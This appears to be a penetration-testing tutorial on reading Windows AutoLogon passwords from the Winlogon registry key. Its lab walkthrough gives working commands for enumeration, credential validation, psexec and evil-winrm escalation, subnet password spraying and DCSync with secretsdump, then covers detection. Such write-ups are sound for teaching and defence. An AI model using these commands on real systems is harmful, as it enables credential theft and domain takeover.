Windows Privilege Escalation: AutoLogon Credentials in the Registry

TL;DR

Windows AutoLogon stores domain or local credentials in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, often in plaintext. Because HKLM\SOFTWARE is readable by all authenticated users, any user with a shell on the machine can query these values and recover the username, domain, and password of the account configured for automatic logon. When that account holds administrative privileges, the result is a direct privilege escalation. No vulnerability is exploited: the credentials are stored exactly where Microsoft documents them, and the registry ACL grants read access by design.

• MITRE ATT&CK: T1552.002 — Unsecured Credentials: Credentials in Registry
• Tactic: Credential Access
• Platform: Windows

Introduction

AutoLogon credential extraction is one of the simplest and most frequently overlooked wins during a Windows privilege escalation engagement. The technique requires no tools, no exploitation of a software flaw, and no elevated privileges. A single registry query from a standard user shell can reveal the plaintext password of the account that Windows uses to log in automatically at boot.

The scenario is common: an administrator configures a server, kiosk, or workstation to boot directly into a session without requiring manual authentication. The credentials for that automatic logon are written to a well-known registry location under HKLM\SOFTWARE, which every authenticated user can read. When the configured account is a local administrator, a domain administrator, or a service account with elevated permissions, reading those registry values is all an attacker needs to escalate.

This post explains the AutoLogon mechanism, where and how Windows stores the credentials, how to enumerate them locally and remotely, and how to turn a discovered credential into a privilege escalation or lateral movement during a penetration test.

What is Windows AutoLogon

Windows AutoLogon is a feature that allows a machine to boot directly into a user session without displaying the logon screen. It is documented by Microsoft and controlled entirely through registry values. The feature exists because certain use cases demand unattended startup: kiosk terminals, point-of-sale systems, single-purpose servers, lab machines, build agents, and industrial control stations.

When AutoLogon is enabled, the Winlogon process reads the stored credentials during boot, passes them to the Local Security Authority (LSA), and authenticates the session exactly as if a user had typed the username and password at the logon prompt. The session starts with the full token of the configured account, including all group memberships and privileges.

The logon flow with AutoLogon enabled looks like this:

System Boot
   │
   ▼
Winlogon.exe starts
   │
   │  Reads AutoLogon registry values
   │  (DefaultUserName, DefaultPassword, DefaultDomainName)
   ▼
Local Security Authority (LSA)
   │
   │  Authenticates with stored credentials
   │  (same as interactive logon)
   ▼
User Session Created
   │
   │  Full token with all privileges
   │  and group memberships
   ▼
Desktop Loaded

There are two ways administrators typically configure AutoLogon:

Manual registry configuration: The administrator writes the values directly using reg add, Group Policy Preferences, or the registry editor. In this case the password is stored in plaintext in the registry.

Sysinternals Autologon.exe: Microsoft provides the Autologon.exe utility (part of Sysinternals). Older versions (before v3.10) stored the password in plaintext in the registry, identical to the manual method. Starting with version 3.10, the tool encrypts the password and stores it as an LSA secret instead of writing it to the Winlogon key. The LSA secret is only accessible to processes running as NT AUTHORITY\SYSTEM.

The critical distinction is that the manual method, which remains the most common in practice, leaves the password fully exposed to any authenticated user on the machine.

Where AutoLogon credentials are stored

The registry key that controls AutoLogon is:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

The relevant values within this key are:

When AutoAdminLogon is set to 1 and DefaultPassword contains a value, Winlogon uses these credentials at every boot to create an interactive session.

Why any user can read these values

The HKLM\SOFTWARE hive has a default ACL that grants Read access to BUILTIN\Users and NT AUTHORITY\Authenticated Users. Since the AutoLogon values live under this hive, every user who can log in to the machine (interactively, via WinRM, via RDP, or through any other logon type) can query them. This is not a misconfiguration; it is the default permission model for this portion of the registry.

The result is that storing a password in DefaultPassword under HKLM\SOFTWARE is equivalent to writing it to a text file that every user on the machine can read.

The LSA secret alternative

When the Sysinternals Autologon.exe tool (version 3.10 and later) is used instead of manual registry editing, the password is not written to DefaultPassword. Instead, it is stored as an LSA secret named DefaultPassword under:

HKLM\SECURITY\Policy\Secrets\DefaultPassword

The HKLM\SECURITY hive is only accessible to NT AUTHORITY\SYSTEM by default. This means the password is protected from standard users. However, if an attacker already has SYSTEM access (or can extract LSA secrets through another technique), the credential can still be recovered using tools such as mimikatz, secretsdump, or reg save followed by offline extraction.

The two storage paths create different attack scenarios:

AutoLogon Credential Storage
   │
   ├── Manual configuration (reg add / GPP / GUI)
   │       │
   │       ▼
   │   HKLM\SOFTWARE\...\Winlogon\DefaultPassword
   │       │
   │       │  Readable by: All authenticated users
   │       │  Attack: Any user reads plaintext password
   │       ▼
   │   Direct credential recovery (low privilege)
   │
   └── Sysinternals Autologon.exe (v3.10+)
           │
           ▼
       HKLM\SECURITY\Policy\Secrets\DefaultPassword
           │
           │  Readable by: SYSTEM only
           │  Attack: Requires SYSTEM or LSA secret extraction
           ▼
       Credential recovery (high privilege required)

This article focuses on the first scenario — the plaintext registry storage — because it is the one that enables privilege escalation from a low-privilege shell.

Lab setup

The lab uses the evilcorp.local environment from previous Byte JMP articles. The scenario places the AutoLogon configuration directly on the Domain Controller, and the attacker has a low-privilege shell as a standard domain user.

Topology

Domain: evilcorp.local

All Active Directory infrastructure and the vulnerable AutoLogon configuration reside on EVILCORP-DC01. The attacking machine runs Linux with Impacket and NetExec. In real engagements, AutoLogon is more commonly found on workstations and member servers, but the technique and the commands are identical regardless of the host role. On a Domain Controller, the stakes are higher: the AutoLogon account is often a Domain Admin, and recovering its password means immediate domain compromise.

Step 1: Create the privileged account

Run on EVILCORP-DC01 with domain admin credentials. The account is added to Domain Admins to simulate the worst-case scenario where AutoLogon is configured with a highly privileged account:

New-ADUser -Name "svc-autologon" -SamAccountName "svc-autologon" `
    -UserPrincipalName "[email protected]" `
    -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
    -Enabled $true -PasswordNeverExpires $true `
    -Description "Service account for automated tasks - AutoLogon lab"

Add the account to Domain Admins:

net group "Domain Admins" svc-autologon /add /domain

Step 2: Create the low-privilege attacker user

New-ADUser -Name "bob" -SamAccountName "bob" `
    -UserPrincipalName "[email protected]" `
    -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) `
    -Enabled $true -PasswordNeverExpires $true `
    -Description "Standard domain user - AutoLogon lab"

bob is a member of Domain Users and nothing else. No local administrator rights, no special privileges.

Step 3: Configure AutoLogon on the target (the vulnerable configuration)

On EVILCORP-DC01, run as administrator:

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d svc-autologon /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d "Summer2024!" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d EVILCORP /f

Step 4: Verify the configuration

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

Expected output:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon    REG_SZ    1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultUserName    REG_SZ    svc-autologon

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword    REG_SZ    Summer2024!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultDomainName    REG_SZ    EVILCORP

The password is visible in plaintext. From this point on, any authenticated user on the machine can read it.

Enumeration

Everything from here runs as bob, a standard domain user with no administrative privileges.

Local enumeration: native Windows commands

The most direct approach. A single reg query is enough:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

Expected output:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword    REG_SZ    Summer2024!

To retrieve all four values at once:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

Or query all values under the key and filter for the relevant entries:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultUserName DefaultPassword DefaultDomainName AutoAdminLogon"

PowerShell equivalent:

Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" |
    Select-Object AutoAdminLogon, DefaultUserName, DefaultPassword, DefaultDomainName

Expected output:

AutoAdminLogon    : 1
DefaultUserName   : svc-autologon
DefaultPassword   : Summer2024!
DefaultDomainName : EVILCORP

If DefaultPassword is empty or does not exist, the credentials are either not configured via the plaintext method, or the administrator used the Sysinternals Autologon.exe tool (which stores the password as an LSA secret). In that case, the plaintext extraction path does not apply from a low-privilege context.

Remote enumeration

If the RemoteRegistry service is running on the target, the same registry query can be performed over the network. This service is set to Manual start by default on most Windows versions and is often stopped.

CMD (from another Windows host):

reg query "\\EVILCORP-DC01\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

Impacket reg.py (from Linux):

impacket-reg -dc-ip <DC_IP> evilcorp.local/bob:'Password1'@<TARGET_IP> query -keyName "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -v DefaultPassword

NetExec (from Linux):

NetExec does not have a dedicated AutoLogon module, but the registry query can be performed with the --reg-query flag (available in recent versions):

nxc smb <TARGET_IP> -u bob -p 'Password1' --reg-query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" --reg-value DefaultPassword

Remote registry access depends on the RemoteRegistry service being active and the firewall allowing the connection. When the service is stopped, remote enumeration through the registry will not work. In that scenario, obtain a shell on the target first and query locally.

Automated tools that check AutoLogon

The major privilege escalation enumeration tools already include checks for AutoLogon credentials:

winPEAS:

winPEASx64.exe quiet windowscreds

winPEAS reads the Winlogon key and prints the stored credentials under the "AutoLogon credentials" section, highlighting the password when found.

Seatbelt:

Seatbelt.exe WindowsAutoLogon

PrivescCheck:

Import-Module .\PrivescCheck.ps1
Invoke-WinlogonCheck

PowerUp:

Import-Module .\PowerUp.ps1
Get-RegistryAutoLogon

Expected output from PowerUp:

DefaultDomainName    : EVILCORP
DefaultUserName      : svc-autologon
DefaultPassword      : Summer2024!
AltDefaultDomainName :
AltDefaultUserName   :
AltDefaultPassword   :

PowerUp also checks for AltDefaultUserName, AltDefaultPassword, and AltDefaultDomainName, which are alternate AutoLogon values that can be configured for a different account. These are less common but worth noting.

Metasploit (from an existing session):

use post/windows/gather/enum_autologon
set SESSION 1
run

The Metasploit module checks both the plaintext registry values and the LSA secret. If a Meterpreter session is running as SYSTEM, it can also extract the encrypted LSA credential.

Exploitation

The credential itself is the finding. What happens next depends on what the discovered account can do. The AutoLogon credential is a plaintext username and password, so the exploitation follows the same paths as any other discovered credential: local privilege escalation, lateral movement, or domain compromise.

Validating the credential

Before attempting to use the credential, verify that it is still valid. Passwords configured for AutoLogon are rarely rotated, but it is worth confirming.

From Linux with NetExec:

nxc smb <TARGET_IP> -u svc-autologon -p 'Summer2024!' -d EVILCORP

Expected output when the credential is valid:

SMB   <TARGET_IP>   445   EVILCORP-DC01   [*] Windows Server 2022 Build 20348 x64 (name:EVILCORP-DC01) (domain:evilcorp.local) (signing:False) (SMBv1:False)
SMB   <TARGET_IP>   445   EVILCORP-DC01   [+] evilcorp.local\svc-autologon:Summer2024! (Pwn3d!)

The (Pwn3d!) marker indicates the account has local administrative access on the target.

Check WinRM access:

nxc winrm <TARGET_IP> -u svc-autologon -p 'Summer2024!' -d EVILCORP

Local privilege escalation

In our lab the AutoLogon account is a Domain Admin, so the attacker can escalate from bob to full domain administrative access.

Using runas (from the existing session as bob):

runas /user:EVILCORP\svc-autologon "cmd.exe"

This opens a new command prompt running as svc-autologon. Since that account is a Domain Admin, the new session has full administrative access to the domain.

Using Evil-WinRM (from Linux):

evil-winrm -i <TARGET_IP> -u svc-autologon -p 'Summer2024!'

Verify the escalation:

whoami
evilcorp\svc-autologon

whoami /groups | findstr /i "admin"
BUILTIN\Administrators    Alias    S-1-5-32-544 ...

Using Impacket psexec (from Linux):

impacket-psexec evilcorp.local/svc-autologon:'Summer2024!'@<TARGET_IP>

This provides a SYSTEM shell because psexec creates a service that runs as LocalSystem.

Lateral movement

The AutoLogon credential may work on other machines in the domain, especially if the account was configured for AutoLogon on multiple hosts or if the password was reused.

Spray across the domain with NetExec:

nxc smb <SUBNET>/24 -u svc-autologon -p 'Summer2024!' -d EVILCORP

Any host that returns (Pwn3d!) is accessible with administrative rights using this credential.

Check for access to the Domain Controller:

nxc smb <DC_IP> -u svc-autologon -p 'Summer2024!' -d EVILCORP

If the account has administrative access to the DC, the path to domain compromise is immediate.

Domain escalation

When the AutoLogon account is a Domain Admin or has equivalent privileges, the attacker can use the credential directly to perform domain compromise operations.

DCSync with secretsdump:

impacket-secretsdump evilcorp.local/svc-autologon:'Summer2024!'@<DC_IP>

Access the DC with psexec:

impacket-psexec evilcorp.local/svc-autologon:'Summer2024!'@<DC_IP>

The complete attack chain from initial low-privilege access to domain compromise:

bob (standard domain user)
   │
   │  reg query Winlogon\DefaultPassword
   ▼
Plaintext credential recovered
   │  svc-autologon : Summer2024!
   │
   ├── Local escalation on EVILCORP-DC01
   │       │
   │       │  runas / evil-winrm / psexec
   │       ▼
   │   Domain Admin access
   │
   ├── Lateral movement
   │       │
   │       │  nxc smb <SUBNET>/24
   │       ▼
   │   Administrative access on other hosts
   │
   └── Domain compromise
           │
           │  secretsdump / psexec to DC
           ▼
       Full domain control

Post-exploitation considerations

Once you have the AutoLogon credential working, consider these additional actions:

Dump cached credentials and secrets from the local machine using the administrative access you just gained. Tools such as mimikatz, secretsdump (with -sam and -system flags), or lsassy can extract additional credentials from the compromised host.

Check whether the same password is used for other accounts. Password reuse is common in environments where AutoLogon is configured, because the same administrator who set up one machine often set up others with similar credentials.

Look for additional AutoLogon configurations on other machines. If one host has plaintext credentials in the registry, it is likely that others in the same environment do as well.

Detection

Detecting the enumeration of AutoLogon credentials is difficult because reading the Winlogon registry key is a normal operation that occurs during every boot and logon. The access does not trigger a distinctive security event in the default audit configuration.

However, defenders can implement the following:

Audit the registry key

Configure a System Access Control List (SACL) on the Winlogon key to generate Event ID 4663 (An attempt was made to access an object) or Event ID 4657 (A registry value was modified) whenever the DefaultPassword value is read. This requires enabling "Audit Object Access" in the local or domain Group Policy:

Computer Configuration → Windows Settings → Security Settings →
Advanced Audit Policy Configuration → Object Access →
Audit Registry: Success, Failure

Then apply a SACL to the specific key:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Audit Read access for Everyone on the DefaultPassword value. Any read from a user other than SYSTEM or Winlogon.exe during boot is suspicious.

Scan for the existence of DefaultPassword

Rather than trying to catch reads, proactively scan all machines in the domain for the presence of DefaultPassword under the Winlogon key. A PowerShell script deployed via Group Policy or a configuration management tool can report hosts where this value exists:

$val = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -ErrorAction SilentlyContinue
if ($val.DefaultPassword) {
    Write-Output "[ALERT] AutoLogon password found on $env:COMPUTERNAME"
}

Monitor logon events

When an attacker uses the recovered credential, the logon event (Event ID 4624) for the AutoLogon account from an unexpected source, time, or logon type can serve as an indicator. A logon type 3 (network) or type 10 (RemoteInteractive/RDP) for an account that should only perform type 2 (interactive/AutoLogon) at boot is a signal worth investigating.

References

• Microsoft Docs — How to turn on automatic logon in Windows
• MITRE ATT&CK T1552.002 — Unsecured Credentials: Credentials in Registry
• Microsoft Sysinternals — Autologon utility
• MS14-025 — Vulnerability in Group Policy Preferences Could Allow Elevation of Privilege
• HackTricks — Windows Local Privilege Escalation
• PayloadsAllTheThings — Windows Privilege Escalation
• PrivescCheck (itm4n)
• PowerSploit / PowerUp (Get-RegistryAutoLogon)
• PEASS-ng / winPEAS
• Seatbelt (GhostPack)
• Impacket